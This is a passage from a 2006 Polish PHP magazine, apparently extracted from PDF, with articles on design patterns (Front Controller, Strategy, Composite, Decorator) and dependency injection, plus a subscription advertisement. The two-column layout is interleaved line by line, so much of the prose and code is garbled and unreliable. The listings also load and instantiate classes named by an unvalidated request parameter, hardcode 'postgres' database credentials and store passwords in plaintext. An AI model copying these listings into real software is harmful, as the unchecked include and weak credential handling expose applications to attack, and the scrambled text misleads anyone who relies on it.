i wymieniać, jeżeli zachodzi taka potrze-
nie należą do żadnej z wymienionych kategorii, ale mają istotne znaczenie, ponieważ stano-
ba. Na samym końcu poruszymy temat wią fundament bardziej złożonych rozwiązań. Opowiemy o nich kolejnych artykułach.
najnowszych trendów w programowaniu
obiektowym i pokażemy, jak napisać
i stosować kontener IoC, czy wykorzystać będzie framework do pisania aplikacji dyskutować o tworzonych rozwiąza-
programowanie aspektowe (AOP – ang. WWW, który rozpoczniemy tworzyć niach.
Aspect Oriented Programing). W końcu już teraz, w tym artykule,
powiemy, jak omawiane rozwiązania są  wszystkie prezentowane wzorce i po- Zbudujmy sobie
wstanie współgrać w postaci jednego spój- mysły przyporządkujemy jednoznacz- framework
nego programu/aplikacji, który będzie sta- nie do warstw aplikacji (prezentacja, Weźmy przykład – część aplikacji WWW,
nowił kompletny przykład tego, jak dobrze logika, dane), odpowiedzialną za przetwarzanie parame-
i solidnie pisać w PHP z wykorzystaniem  wszystkie przykłady będą bazowały trów przesyłanych w zapytaniu HTTP jako
wzorców i pewnych uznanych za dobre na PHP 5.0, a tam gdzie to konieczne, wynik wywołania URL. Większość z nas
praktyk programistycznych. będziemy odwoływać sie do PHP 5.1, wielokrotnie pisała taki fragment kodu, roz-
 prezentowany kod musi być przejrzy- wiązując ten sam problem trochę inaczej.
Zaczynamy sty i zrozumialy, dlatego wykorzystane Ponieważ jest to artykuł o wzorcach pro-
Nasz cel jest bardzo ambitny – chcemy po- zostaną jedynie standardowe elemen- jektowych, w dalszych przykładach wyko-
kazać wam, w przystępny i solidny sposób, ty języka PHP5, z pominięciem np. rzystamy wzorzec architektoniczny Front
praktyczne wykorzystanie wzorców projek- funkcji magicznych, Controller. Front Controller jest jednym,
towych w implementacji aplikacji w PHP5.  musimy wiedzieć, czy podążamy centralnym miejscem aplikacji, przez który
Dlatego przyjeliśmy następujące założenia: w dobrym kierunku, dlatego kod, przechodzą wszystkie wywołania HTTP.
który będziemy razem tworzyć, zo- Dzięki takiej fasadzie możemy w jednym
 każdy z omawianych przykładów osa- stanie opublikowany w Internecie wraz miejscu skupić funkcjonalność wspólną
dzimy we wspólnym kontekście, jakim z forum, na którym będziecie mogli się dla wszystkich akcji (np. sprawdzanie praw

Rysunek 1. UML-owy diagram klas dla omawianego fragmentu frameworka

PHP Solutions Nr 2/2006 www.phpsolmag.org 17

16_17_18_19_20_21_22_23_wzorce_PL.indd 17 2006-01-12, 17:43:08
Początki Wzorce projektowe

użytkowników do wykonania danej akcji,
logowanie czasy renderowania stron itd.). Listing 1. Front Controller z ustalonym na stałe sposobem wyszukiwania akcji
W szczególności w tym głównym kontrole-
interface MVCAction {
rze będziemy umieszczali logikę związaną public function doAction(HttpRequest $request);
z interpretacją przesłanych parametrów. Na }
podstawie wyniku interpretacji parametrów,
Front Controller przekazuje sterowanie do class HttpRequest {

konkretnej akcji, modułu aplikacji. W tych
private $_requestParams = array ();
oddzielnych akcjach znajduje się funkcjo-
nalność poszczególnych modułów, np.: public function __construct() {
zarządzanie kontami użytkowników, ob- $this->_requestParams = array_merge($_GET, $_POST);
sługa newsów czy forum. Głównemu kon- }
public function getParam($paramName) {
trolerowi pozostawiamy zadania wspólne
return $this->_requestParams[$paramName];
dla wszystkich akcji. Dzięki takiej separacji }
zadań programista dopisujący nowy moduł }
nie musi martwić się o usługi, które muszą
być zapewnione dla każdej akcji. Tym zaj- interface FrontController {
public function doService(HttpRequest $request);
muje się już Front Controller. Więcej o tym
}
wzorcu przeczytacie w artykule Frameworki /**
dla PHP, z numeru 2/2005. * Najprostsza implementacja interfejsu FrontController.
Spójrzmy na Listing 1 i Rysunek 1, * Wszystkie parametry sterujące pracą głównego kontrolera są zapisane na stałe
gdzie możemy zobaczyć prosty schemat w kodzie.*/
class FrontControllerImpl implements FrontController {
UML omówionej części aplikacji oraz re-
prezentację tego modelu w kodzie. Jak public function doService(HttpRequest $request){
widać na przedstawionym wydruku, na
początku zdecydowaliśmy się na dość //na stałe zapisana nazwa parametru wywołania HTTP,
prosty sposób mapowania URL na kon- //przez co trudno jest zmienić nazwę parametru odpowiedzialnego
//za przekierowanie przetwarzania do konkretnej akcji
kretną klasę dostarczającą funkcjonalności.
$actionName = $request->getParam('action');
Zakładając, że URL miał postać http://
[host]/[katalog]/index.php?action=sayhello, if ($actionName != ''){
w przedstawionym przykładzie będziemy
poszukiwali klasy o nazwie sayhello //na stałe zapisany katalog i nazewnictwo plików zawierających akcje,
//wprowadzenie innej strategii odnajdywania klas z implementacją akcji
umieszczonej w głównym katalogu. Oczy-
//wymaga modyfikacji w tym fragmencie kodu
wiście taki sposób mapowania wywołań $actionClassFileName = dirname(__FILE__).'/'.$actionName.'.php';
na implementację jest dość prymitywny
i w praktyce różne osoby będą miały od- if (!class_exists($actionName)){
mienne pomysły na nazewnictwo klas, if (file_exists($actionClassFileName)){
require_once($actionClassFileName);
ich położenie w strukturze folderów, wy-
} else {
magania co do bezpieczeństwa itd. Może throw new RuntimeException("Brak na dysku pliku z definicją akcji
zdarzyć się nawet, że my sami w różnych '$actionClassFileName'");
projektach będziemy chcieli stosować }
jakieś warianty podstawowego rozwiąza- }
//powołanie do życia odnalezionej klasy dla akcji
nia. W chwili obecnej każda taka zmiana
$actionClass = new $actionName();
wymaga modyfikacji klasy głównego kon-
trolera. Możemy próbować przewidywać, //właściwe wywołanie akcji
jakie funkcje będą w przyszłości potrzebne //wszystkie akcje muszą implementować interfejs MVCAction
i odpowiednio sparametryzować Front $actionClass->doAction($request);
} else {
Controller (Listing 2).
throw new RuntimeException('Nie wyspecyfikowano akcji do wywołania!');
Niestety, nasze przewidywania nie }
obejmują zbyt wielu przypadków i z pewno- }
ścią znajdzie się projekt, w którym potrzeb- }
na będzie zupełnie odmienna strategia $fc = new FrontControllerImpl();
$fc->doService(new HttpRequest());
odnajdywania implementacji na podstawie
URL. Czy oznacza to, że jesteśmy skazani class sayhello implements MVCAction {
na ciągłe zmiany Front Controllera? public function doAction(HttpRequest $request){
echo "Hello World!";
Strategy }
}
Listing 3 pokazuje, że najczęściej zmienia-
jącą się część kodu możemy wydzielić do

18 www.phpsolmag.org PHP Solutions Nr 2/2006

16_17_18_19_20_21_22_23_wzorce_PL.indd 18 2006-01-12, 17:40:45
zamów prenumeratęPHP Solutions a otrzymasz prezent!
niższa cena: 135zł
w prezencie otrzymasz
Archiwum PHP Solutions 2005 w PDF

dodatkowo do wyboru:
& programPHPRunner o wartości 199$
& pakiet Xtreeme SiteXpert firmy Xtreeme
& dwa dowolne numery archiwalne PHP Solutions
& roczny abonament na Usługę Business Starter
& jedna z czterech książek z Wydawnictw Naukowo-Technicznych
& pakiet internetowy nQ.Biznes firmy Netlink o wartości 486,70 zł
& Maguma Workbench Core

* cena prenumeraty rocznej w promocji zimowej
oferta ważna do wyczerpania zapasów;
szczegółowe informacje: www.phpsolmag.org/prenumerata lub pren@software.com.pl

19_prenumerata_PL.indd 74 2006-01-12, 17:43:57
Początki Wzorce projektowe

Listing 2. Front Controller po sparametryzowaniu Listing 3. Front Controller z wymienną strategią
odnajdywania akcji
/**
* Kolejna próba implementacji FrontControllera, w której interface ActionResolvingStrategy {
* pojawiają się parametry dla wartości, które do tej pory public function resolveAction(HttpRequest $request);
* były zapisane na stałe. }
*/ class FilePerActionResolvingStrategy implements
ActionResolvingStrategy {
class FrontControllerImpl implements FrontController { private $_actionRequestParamName;
private $_actionFileNamePrefix;
private $_actionRequestParamName; private $_actionFileNameSufix;
private $_actionFileNamePrefix; public function __construct($actionRequestParamName,
private $_actionFileNameSufix; $actionFileNamePrefix, $actionFileNameSufix) {
$this->_actionRequestParamName =
/** $actionRequestParamName;
* Konstruktor FrontControllera, dzięki któremu możemy $this->_actionFileNamePrefix = $actionFileNamePrefix;
* parametryzować działanie metody doService. $this->_actionFileNameSufix = $actionFileNameSufix;
* }
* @param String $actionRequestParamName public function resolveAction(HttpRequest $request) {
* @param String $actionFileNamePrefix $actionName = $request->getParam(
* @param String $actionFileNameSufix $this->_actionRequestParamName);
*/ if ($actionName != '') {
public function __construct($actionRequestParamName, $actionClassFileName = $this->
$actionFileNamePrefix, $actionFileNameSufix){ _actionFileNamePrefix.
$this->_actionRequestParamName = $actionName.$this->_actionFileNameSufix;
$actionRequestParamName; if (!class_exists($actionName)) {
$this->_actionFileNamePrefix = $actionFileNamePrefix; if (file_exists($actionClassFileName)) {
$this->_actionFileNameSufix=$actionFileNameSufix; require_once ($actionClassFileName);
} } else {throw new RuntimeException(
"Brak na dysku pliku z definicją akcji
public function doService(HttpRequest $request){ '$actionClassFileName'");
}
$actionName = $request->getParam( }
$this->_actionRequestParamName); } else {throw new RuntimeException(
'Nie wyspecyfikowano akcji do wywołania!');
if ($actionName != ''){ }
$actionClassFileName = $this-> $actionClass = new $actionName ();
_actionFileNamePrefix. return $actionClass;
$actionName.$this->_actionFileNameSufix; }
}
if (!class_exists($actionName)){ class FrontControllerImpl implements FrontController {
if (file_exists($actionClassFileName)){ private $_actionResolvingStrategy;
require_once($actionClassFileName); //Przy konstruowaniu FrontController-a ustalamy strategię,
} else { //według której będą odszukiwane akcje dla zapytania HTTP.
throw new RuntimeException( public function __construct(ActionResolvingStrategy
"Brak na dysku pliku z definicją akcji $actionResolvingStrategy) {
'$actionClassFileName'"); $this->_actionResolvingStrategy =
} $actionResolvingStrategy;
} }
public function doService(HttpRequest $request) {
$actionClass = new $actionName(); // we FrontControllerze pozostaje jedynie wywołanie
$actionClass->doAction($request); // wcześniej ustalonej strategii. Cała logika związana
// z odnalezieniem akcji zawarta jest w klasie
} else { // implementującej interfejs ActionResolvingStrategy
throw new RuntimeException( $actionClass = $this->_actionResolvingStrategy->
'Nie wyspecyfikowano akcji do wywołania!'); resolveAction($request);
} if (!is_null($actionClass)) {
$actionClass->doAction($request);
} } else {throw new RuntimeException(
'Nie znaleziono akcji do wykonania');
} }
}
}
$fc = new FrontControllerImpl('action',
dirname(__FILE__).'/','.php'); $fc = new FrontControllerImpl(
$fc->doService(new HttpRequest()); new FilePerActionResolvingStrategy('action',
dirname(__FILE__).'/', '.php'));
$fc->doService(new HttpRequest());

20 www.phpsolmag.org PHP Solutions Nr 2/2006

16_17_18_19_20_21_22_23_wzorce_PL.indd 20 2006-01-12, 17:41:23
Wzorce projektowe Początki

osobnej klasy, w ten sposób uniezależnia-
Listing 4. Strategia odnajdywania akcji w cache jąc główny kontroler od pomysłów na ma-
/**
powania URL. Listing 4 jest dowodem na
* Ta klasa korzysta z rozszerzenia MCache to przechowywania obiektów w to, że dzięki wprowadzonej zmianie można
* pamięci pomiędzy wywołaniami. stosować zupełnie nowe strategie, np.
* @link http://pecl.php.net/package/memcache*/ posiłkując się implementacją konkretnych
class MCacheActionResolver implements ActionResolvingStrategy {
akcji przechowywaną w pamięci dzielonej.
private $_actionRequestParamName;
Słowo strategia pojawia się tutaj nieprzy-
private $_memcache; padkowo, bowiem pokazana na Listingu
3 modyfikacja jest wzorcem projektowym
public function __construct($actionRequestParamName, $memcacheHost, Strategy. Dzięki niemu wyodrębniliśmy
$memcachePort){
fragment programu, który może być łatwo
$this->_actionRequestParamName = $actionRequestParamName;
podmieniany i dostosowany do konkretnych
$memcache = new Memcache; potrzeb. Możemy stosować różne strategie
$memcache->connect($memcacheHost, $memcachePort); dla konkretnego kroku w większym algoryt-
$this->_memcache = $memcache; mie. Dopisujemy tylko tą część programu,
}
która dostarcza nowej funkcjonalności i nie
public function resolveAction(HttpRequest $request){
musimy modyfikować już istniejących klas.
Idealne rozwiązanie.
$actionName = $request->getParam($this->_actionRequestParamName);
if ($actionName != ''){ Composite
return $this->_memcache->get($actionName);
Bez problemu potrafimy już odszukiwać do-
} else {
throw new RuntimeException('Nie wyspecyfikowano akcji do wywołania!');
wolne klasy zawierające implementację dla
} przesłanego parametru URL. Całe rozwią-
} zanie działa bez najmniejszego zarzutu, ale
} ma jedno niedociągnięcie: implementacji
możemy poszukiwać tylko w jednym miej-
Listing 5. Kompozycja wielu strategii odnajdywania akcji
scu. W dużej części praktycznych zasto-
/** sowań to wystarczy, ale wyobraźmy sobie
* Ta klasa nie dostarcza nowego sposobu odnajdywania akcji. sytuację w której próbujemy najpierw od-
* Zamiast tego, potrafi skorzystać z wielu przygotowanych wcześniej strategii. szukać potrzebną implementację w pamię-
*/
ci dzielonej, a w przypadku niepowodzenia
class CompositeActionResolver implements ActionResolvingStrategy {
– na dysku. Już wcześniej przygotowaliśmy
// W tej zmiennej przechowujemy zdefininowane strategie oddzielne strategie przeszukiwania dysku
private $_definedStrategies = array (); i pamięci, teraz wystarczy tylko połączenie
obu rozwiązań w jedną całość (Listing 5).
public function __construct($definedStrategies) {
Dodajmy jeszcze jedno wymaganie – jeśli
$this->_definedStrategies = $definedStrategies;
} potrzebna klasa nie zostanie odnaleziona
w żadnym z wcześniej wskazanych miejsc,
public function resolveAction(HttpRequest $request) { to obsługa wywołania jest delegowana do
standardowej klasy obsługującej sytuacje
// przeszukujemy po kolei wszystkie zdefiniowane strategie
wyjątkowe. Listing 6 pokazuje nasz przy-
// i zwracamy pierwszą akcję znalezioną przez jakąś strategię
foreach ($this->_definedStrategies as $strategy) { kładowy kod po wprowadzeniu zapropo-
$actionFromStrategy = $strategy->resolveAction($request); nowanych zmian. Analizując ten przykład
if ($actionFromStrategy != null) { łatwo zauważmy, że każdą kolejną strate-
return $actionFromStrategy; gię składamy z już gotowych elementów.
}
Z punktu widzenia Front Controllera zu-
}
return null; pełnie nie ma znaczenia, czy potrzebna
} klasa jest poszukiwana w jednym, czy też
} w wielu miejscach. My natomiast zyskali-
śmy nowe, potężne i elastyczne narzędzie
// do konstruktora Front Controller przekazujemy w dalszym ciągu tylko
– możliwość dowolnego łączenia pod-
// jedną strategię, wzorzec Composite ukrywa przed Front Controller fakt,
// iż teraz poszukujemy akcji na 2 różne sposoby stawowych klocków w większe struktury.
$fc = new FrontControllerImpl(new CompositeActionResolver(array ( Zamiast od nowa pisać kod, posługujemy
new MCacheActionResolver('action', 'localhost', 11211), się kompozycją. Po raz kolejny okazuje się,
new FilePerActionResolvingStrategy('action', dirname(__FILE__).'/', że zmiany które właśnie wprowadziliśmy są
'.php'))));
bardzo często spotykane przy okazji róż-
$fc->doService(new HttpRequest());
nych problemów programistycznych. Ma-
my więc standardowy problem i eleganckie

PHP Solutions Nr 2/2006 www.phpsolmag.org 21

16_17_18_19_20_21_22_23_wzorce_PL.indd 21 2006-01-12, 17:41:33
Początki Wzorce projektowe

rozwiązanie. Udało się nam zidentyfikować
kolejny wzorzec projektowy – Composite. Listing 6. Wzorzec Composite i strategia InstanceActionResolver
Jest to bardzo sprytny sposób na łączenie
/**
jednostkowych rozwiązań, pojedynczych * Ta strategia zawsze zwraca konkretną instancję akcji.
funkcjonalności w zupełnie nowe, jeszcze * Dzięki temu, że implementuje ona interfejs @see ActionResolvingStrategy,
potężniejsze moduły. Wzorzec ten znajduje * może uczestniczyć w rozwiązywaniu akcji przez @see CompositeActionResolver.
bardzo szerokie zastosowanie, od obiekto- */

wej reprezentacji działań matematycznych
class InstanceActionResolver implements ActionResolvingStrategy {
po, jak przed chwilą widzieliśmy, budowę
frameworków. // W tej zmiennej przechowujemy konkretną instancję akcji.
private $_action = null;
Dekorator public function __construct(MVCAction $action) {
$this->_action = $action;
Odnajdywanie klas implementujących
}
akcje nie jest już dla nas najmniejszym public function resolveAction(HttpRequest $request) {
problemem. Ponieważ tą część budowy // niezależnie od parametrów wywołania zwracamy tą samą akcję
frameworka mamy już za sobą, spróbujmy return $this->_action;
rozszerzyć jego możliwości. Interesującym }
}
dodatkiem funkcjonalnym mogłoby być
zbieranie statystyk dotyczących wywoły- // Klasa akcji dla sytuacji wyjątkowych.
wanych przez użytkowników akcji. Chcie- class ErrorAction implements MVCAction {
libyśmy śledzić częstość wykorzystania
poszczególnych funkcjonalności i nawet public function doAction(HttpRequest $request){
echo "Wystąpił błąd!";
moglibyśmy pokusić się o zidentyfikowanie
}
ścieżek, jakimi najczęściej poruszają się }
użytkownicy w całej aplikacji. Aby prowa-
dzić wspomniane analizy, musimy jednak $fc = new FrontControllerImpl(
najpierw przygotować dane statystyczne. new CompositeActionResolver(array (
new MCacheActionResolver('action', 'localhost', 11211),
Jedyną informacją, jakie potrzebujemy jest
new FilePerActionResolvingStrategy('action', dirname(__FILE__).'/', '.php'),
nazwa klasy dla wywoływanej akcji. Gdzie
umieścić kod pozyskujący tą daną? //CompositeActionResolver zawsze znajdzie tą akcje, jeśli powyższe
Na pierwszy rzut oka może wydawać //metody zawiodą
new InstanceActionResolver(new ErrorAction()))));
się, że problem rozwiążemy pisząc kod
$fc->doService(new HttpRequest());
zbierający statystyki w jednej z klas im-
plementujących interfejs ActionResolving- Listing 7. Dekorowanie strategii poszukiwania akcji
Strategy. Po chwilowym zastanowieniu się
szybko dojdziemy do wniosku, że jednak class StatisticsDecoratingActionResolver implements ActionResolvingStrategy {

nie jest to najlepsze rozwiązanie: w apli-
private $_decoratedStrategy = null;
kacji może funkcjonować wiele strategii. public function __construct(ActionResolvingStrategy $decoratedStrategy) {
Nie chcemy oczywiście powielać kodu $this->_decoratedStrategy = $decoratedStrategy;
zbierającego dane statystyczne. Drugim }
kandydatem jest więc klasa Front Control- public function resolveAction(HttpRequest $request) {
// najpierw wykonujemy oryginalny kod
lera. To rozwiązanie nie jest również sa-
$returnValue = $this->_decoratedStrategy->resolveAction($request);
tysfakcjonujące: przecież przy omawianiu // teraz zliczamy ilość konkretnych akcji
wzorca projektowego Strategy dążyliśmy //tu następuje wzbogacenie pierwotnej klasy o nową funkcjonalność
do pozostawienia głównego kontrolera bez if (!is_null($returnValue)) {
zmian. Ruch taki był podyktowany dobrą $classActionName = get_class($returnValue);
//tutaj umieszczamy kod zapisujący statystyki
praktyką programowania obiektowego, wg
//dla akcji $classActionName
której klasa powinna być zamknięta na }
modyfikacje, ale otwarta na rozszerzanie. //zwracamy wartość przygotowaną przez oryginalny kod
W praktyce oznacza to, że funkcjonalność return $returnValue;
powinniśmy wprowadzać dodając nowy }
}
kod, a nie modyfikować już istniejący.
$fc = new FrontControllerImpl(
Biorąc pod uwagę wszystkie wspo- //tutaj dekorator "opakowuje" oryginalną strategię odnajdywania akcji
mniane ograniczenia, wydaje się, że trudno //zarówno dla Front Controllera jak i dla FilePerActionResolvingStrategy
jest znaleźć miejsce dla fragmentu skryptu //to udekorowanie jest zupełnie przezroczyste
zliczającego statystyki. Na szczęście sytu- new StatisticsDecoratingActionResolver(new FilePerActionResolvingStrategy(
'action', dirname(__FILE__).'/', '.php')));
acja nie jest beznadziejna, a wybawienie
$fc->doService(new HttpRequest());
przychodzi ze strony kolejnego wzorca
projektowego – dekorator (ang. Decorator).

22 www.phpsolmag.org PHP Solutions Nr 2/2006

16_17_18_19_20_21_22_23_wzorce_PL.indd 22 2006-01-12, 17:41:43
Po raz kolejny nazwa wzorca naprowadza nas na trop jego
funkcjonalności: zamiast zmieniać istniejące klasy otoczmy
je, udekorujmy nową funkcjonalnością. Cała idea stanie się
oczywista, jeśli spojrzymy na Listing 7.
Zabieg z wprowadzeniem dekoratora wykonujemy kon-
struując nową klasę, która implementuje dokładnie taki inter-
fejs, jak klasa dekorowana. W samym dekoratorze możemy
dodać nową funkcjonalność do dowolnie wybranych metod,
wzbogacając niektóre o nową funkcjonalność, inne zaś po-
zostawiając bez zmian.
Po bliższym przyjrzeniu się Listingowi 7 zauważymy,
że jeden obiekt może być udekorowany wielokrotnie. Bez
problemu możemy wprowadzić inny dekorator, który umoż-
liwia dostęp do aplikacji tylko w wyznaczonych godzinach.
Wszystkie opisane modyfikacje są możliwe bez zmiany
choćby jednej linijki kodu! Sterowanie funkcjonalnością
głównego kontrolera odbywa się przez jego odpowiednie
skonfigurowanie (przekazanie do konstruktora wybranej
implementacji interfejsu ActionResolvingStrategy).

Podsumowanie
Przedstawione przykłady stanowią solidne i potrzebne
wprowadzenie do problematyki wzorców projektowych.
Opisaliśmy jeden wzorzec architektoniczny i trzy niskopo-
ziomowe wzorce projektowe. Zobaczyliśmy, jak elastyczne
rozwiązania możemy osiągnąć. Stawiając kolejne wyma-
gania funkcjonalne doszliśmy do najelastyczniejszego
rozwiązania. Gdyby każdy z Was spędził trochę czasu nad
przedstawionym fragmentem frameworka, z dużym praw-
dopodobieństwem samodzielnie odkryłby przedstawione
wzorce projektowe. To ważna cecha dobrego i szeroko
akceptowanego wzorca.
Zaprezentowane przez nas wzorce zostały tak dobrane,
by skupić się na jednym, niewielkim wycinku frameworka.
Oczywiście nie jest sztuką wykorzystanie jak największej
liczby wzorców projektowych w danym fragmencie kodu.
Prawdziwym wyzwaniem jest zidentyfikowanie i użycie tylko
tych wzorców, które wprowadzają elastyczność w tym frag-
mencie aplikacji, w którym jej potrzebujemy.
Budowany framework to idealny poligon doświadczalny,
na którym zaprezentujemy wiele pożytecznych, sprawdzo-
nych w praktyce wzorców projektowych i architektonicznych.
Dalsze ćwiczenia w następnym numerze PHP Solutions. 

O autorach
Paweł Kozłowski jest pracownikiem SUPERMEDIA, gdzie
od roku 2000 projektuje i tworzy złożone aplikacje WWW
w PHP. Obecnie zajmuje się rozwijaniem frameworków
i bibliotek ORM opartych na PHP5. Jest autorem portu Pico-
Container dla PHP5 i wielu publikacji poświęconych PHP.
Kontakt z autorem: pkozlowski@phpsolmag.org.

Piotr Szarwas jest pracownikiem SUPERMEDIA Interacti-
ve i doktorantem na wydziale Fizyki Politechniki Warszaw-
skiej. Od 2003 roku projektuje aplikacje WWW w oparciu
o PHP4/5. Obecnie zajmuje się tworzeniem frameworka
dla PHP opartego na rozwiązaniach Hibernate i Spring.
Kontakt z autorem: piotr.szarwas@gmail.com

PHP Solutions Nr 2/2006 23

16_17_18_19_20_21_22_23_wzorce_PL.indd 23 2006-01-12, 17:42:34
Techniki

Obiektowa linia
montażowa, czyli przejrzyste
i elastyczne aplikacje w PHP5
Stopień trudności: 
Paweł Kozłowski

Jeśli przyjrzymy się wewnętrznej strukturze
zorientowanej obiektowo aplikacji, z łatwością
dostrzeżemy sieć wielu, współpracujących ze
sobą obiektów. Kluczowe staje się pytanie: jak
połączyć ten ogrom funkcjonalności zamknięty
w poszczególnych obiektach w jeden spójny
program? W jaki sposób dwa współpracujące ze
sobą obiekty dowiadują się o swoim istnieniu?

P
rogramowanie obiektowe na do- Unit testing). Z kolei zbyt luźne powiąza-
bre zagościło już w środowisku nia to udręka podczas pisania aplikacji
PHP. Coraz lepiej poznajemy – w którymś momencie musimy przecież
i rozumiemy zasady rządzące konstru- poskładać poszczególne elementy w jedną
owaniem zorientowanych obiektowo apli- całość. Prześledźmy więc na przykładach
kacji. Dbamy, by obiekty danej klasy miały możliwe sposoby tworzenia powiązań
jedno, ściśle określone zadanie (ang. High pomiędzy obiektami, oraz przeanalizujmy
cohension), a powiązania pomiędzy róż- wady i zalety poszczególnych rozwiązań.
nymi obiektami były możliwie luźne (ang. Aby nasza dyskusja była bardziej ob-
Low coupling). Taki styl programowania razowa, wyobrazimy sobie, że budujemy
w naturalny sposób prowadzi do po- aplikację typu forum dyskusyjne. Naszym
wstania bardziej czytelnych, łatwiejszych zadaniem jest zaprojektowanie takiej
w utrzymaniu programów. architektury, by forum można było łatwo
Niektóre z zależności pomiędzy dostosować do współpracy z istniejącymi
obiektami mają szczególny wpływ na ar- już bazami, zawierającymi dane użytkow-
chitekturę programu – dotyczy to obiektów
powiązanych z infrastrukturą: bazą danych,
Co należy wiedzieć...
sposobem wysyłki e-mail itp. Jeśli zbyt sil- Powinieneś mieć podstawową wiedzę
W SIECI nie połączymy naszą aplikację z infrastruk- z zakresu wzorców projektowych.
turą, bardzo trudno będzie nam zmienić np. Co obiecujemy...
bibliotekę obsługującą DB (ważne z punktu Z artykułu dowiesz się, jak zbudować
1. http://www.martinfowler.com/ widzenia PDO) czy rozwiązanie ORM. Co solidną, elastyczną i przejrzystą obiekto-
articles/injection.html wą aplikacją z wykorzystaniem wzorców
2. http://www.picocontainer.org/ więcej, takie silne powiązania bardzo utrud-
projektowych.
Ports nią tworzenie testów jednostkowych (ang.

24 www.phpsolmag.org PHP Solutions Nr 2/2006
OOP, Dependency Injection Techniki

Rysunek 1. Model klas, z których korzystamy w przykładach

ników. Dodatkowo chcielibyśmy możliwie ale zastosowane rozwiązanie ma dwie bem przechowywania danych użytkowni-
łatwo dodać pełen zestaw testów jednost- poważne wady. ków (UserDAO). Ścisły związek obiektów
kowych. Po pierwsze, obiekty UserService są tych dwóch klas oznacza, że nie uda się
Rysunek 1 zawiera UML-owy model na stałe powiązane z konkretnym sposo- w naszym fikcyjnym forum zastosować in-
klas dla fragmentu systemu odpowie-
dzialnego za zarządzanie użytkownikami. Listing 1. Klasy dla modelu UML zaprezentowanego na Rysunku 1
Nasz przykładowy moduł zbudowany jest
według wszelkich reguł sztuki i ma ściśle <?php
wyodrębnioną warstwę biznesową (klasy class User {
private $_login;
UserService, User, UserExistsException)
private $_password;
oraz warstwę dostępu do danych (User- private $_firstName;
DAO, DBConnection). Aby przykład był private $_lastName;
bardziej czytelny, nie rozważamy warstwy public function __construct($login, $password, $firstName, $lastName){
widoku i kontrolera z MVC (kontroler bez- $this->_login = $login;
$this->_password = $password;
pośrednio wywołuje metody na obiekcie
$this->_firstName = $firstName;
UserService). $this->_lastName = $lastName;
Jeden rzut oka na przedstawiony }
schemat wystarczy by stwierdzić, że na- public function getLogin(){return $this->_login;}
wet w tak prostym module, składającym public function getPassword(){return $this->_password;}
public function getFirstName(){return $this->_firstName;}
się z zaledwie pięciu obiektów, istnieje
public function getLastName(){return $this->_lastName;}
wiele wzajemnych powiązań. Dla nas }
najistotniejsza jest zależność pomiędzy class UserExistsException extends Exception {
obiektami klas UserService i UserDAO: de- private $_existingLoginName;
cyduje ona o tym, jak łatwo będzie moż- public function __construct($existingLoginName){
$this->_existingLoginName = $existingLoginName;
na podmienić miejsce przechowywania
}
danych użytkowników, oraz czy możliwe public function getExistingLoginName(){return $this->_existingLoginName;}
będzie pisanie testów jednostkowych. }
interface UserService {
W poszukiwaniu public function findUserByLoginName($login);
public function addUser(User $u);
współpracownika }
Najprostszym sposobem na zapewnie- interface UserDAO {
nie połączeń jest powoływanie do życia public function findUserByLoginName($login);
obiektów wtedy, gdy akurat ich potrze- public function save(User $u);
bujemy. Fragment modułu stworzonego }
?>
w tym duchu pokazują Listingi 1 i 2. Apli-
kacja będzie funkcjonować poprawnie,

PHP Solutions Nr 2/2006 www.phpsolmag.org 25
Techniki OOP, wzorce projektowe

Listing 2. Wiązane obiektów przez ich tworzenie przy Listing 3. Test jednostkowy zależny od infrastruktury
pomocy new
<?php
class UserServiceImpl1 implements UserService {
// w testach korzystamy z SimpleTest
public function addUser(User $u) { // http://www.lastcraft.com/simple_test.php
$userDao = new UserDAOPDOImpl(); define('SIMPLETEST_PATH', 'D:/phplibs/simpletest_1.0.1alpha2');
$existingUser = $userDao->findUserByLoginName( require_once (SIMPLETEST_PATH.'/unit_tester.php');
$u->getLogin()); require_once (SIMPLETEST_PATH.'/reporter.php');
if ($existingUser == null) { require_once ('listing1.php');
$userDao->save($u);
} else { class TestWithDB extends UnitTestCase {
throw new UserExistsException($u->getLogin());
} public function setUp() {
} //przygotowanie infrastruktury
//wyczyszczenie DB
public function findUserByLoginName($login) { //potrzebujemy do tego oddzielnej instancji DB
$userDao = new UserDAOPDOImpl(); //poniewaz nie chcemy zamazac prawdziwych danych
return $userDao->findUserByLoginName($login);
} $pdoDao = new UserDAOPDOImpl();
} $pdo = $pdoDao->getConnection();
$pdo->query("DELETE FROM users");
class UserDAOPDOImpl implements UserDAO { }
private static $_pdoDB = null;
public function __construct() { public function testSavingIfNotExists() {
if (is_null($this->_pdoDB)) {
$this->_pdoDB = new PDO("pgsql:dbname=dites $user = $this->prepareTestUser();
t;host=localhost", "postgres", $us = new UserServiceImpl1();
"postgres");
} //właściwy test
} $us->addUser($user);

public function getConnection() { //kolejna interakcja z infrastruktura
return $this->_pdoDB; //sprawdzenie, czy rekord zapisał się w DB
} $pdoDao = new UserDAOPDOImpl();
$userFromDB = $pdoDao->findUserByLoginName($user-
public function findUserByLoginName($login) { >getLogin());
}
$stmt = $this->_pdoDB->prepare("SELECT * FROM users
WHERE login = :login"); public function testThrowsExceptionIfExists() {
$stmt->bindParam(":login", $login);
$stmt->execute(); $user = $this->prepareTestUser();
if ($stmt->rowCount() > 0) { $us = new UserServiceImpl1();
$rows = $stmt->fetchAll();
$returnUser = new User($rows[0]['login'], //przygotowanie infrastruktury
$rows[0]['upassword'], //dodanie rekordu do DB
$rows[0]['firstname'], $pdoDao = new UserDAOPDOImpl();
$rows[0]['lastname']); $userFromDB = $pdoDao->save($user);
return $returnUser;
} else { //właściwy test
return null; try {
} $us->addUser($user);
} $this->fail();
} catch (UserExistsException $e) {
public function save(User $u) { $this->assertEqual($e->getExistingLoginName(),
$user->getLogin());
$stmt = $this->_pdoDB->prepare("INSERT INTO users }
( login, upassword, firstname, lastname ) }
VALUES
( :login, :upassword, :firstname, :lastname )"); private function prepareTestUser() {
return new User('jkowalski', 'jkowalski', 'Jan',
$stmt->execute(array (":login" => $u->getLogin(), 'Kowalski');
":upassword" => $u->getPassword(), }
":firstname" => $u->getFirstName(), }
":lastname" => $u->getLastName()));
} $test = new TestWithDB();
} $test->run(new HtmlReporter());
?>

26 www.phpsolmag.org PHP Solutions Nr 2/2006
OOP, Dependency Injection Techniki

nej metody zapamiętywania danych użyt-
kowników. Jedyną metodą zmiany powią- Listing 4. Wykorzystanie wzorca projektowego singleton
zania z UserDAO jest modyfikacja istnie-
class UserServiceImpl2 implements UserService {
jącego kodu. Niestety, nasze możliwości
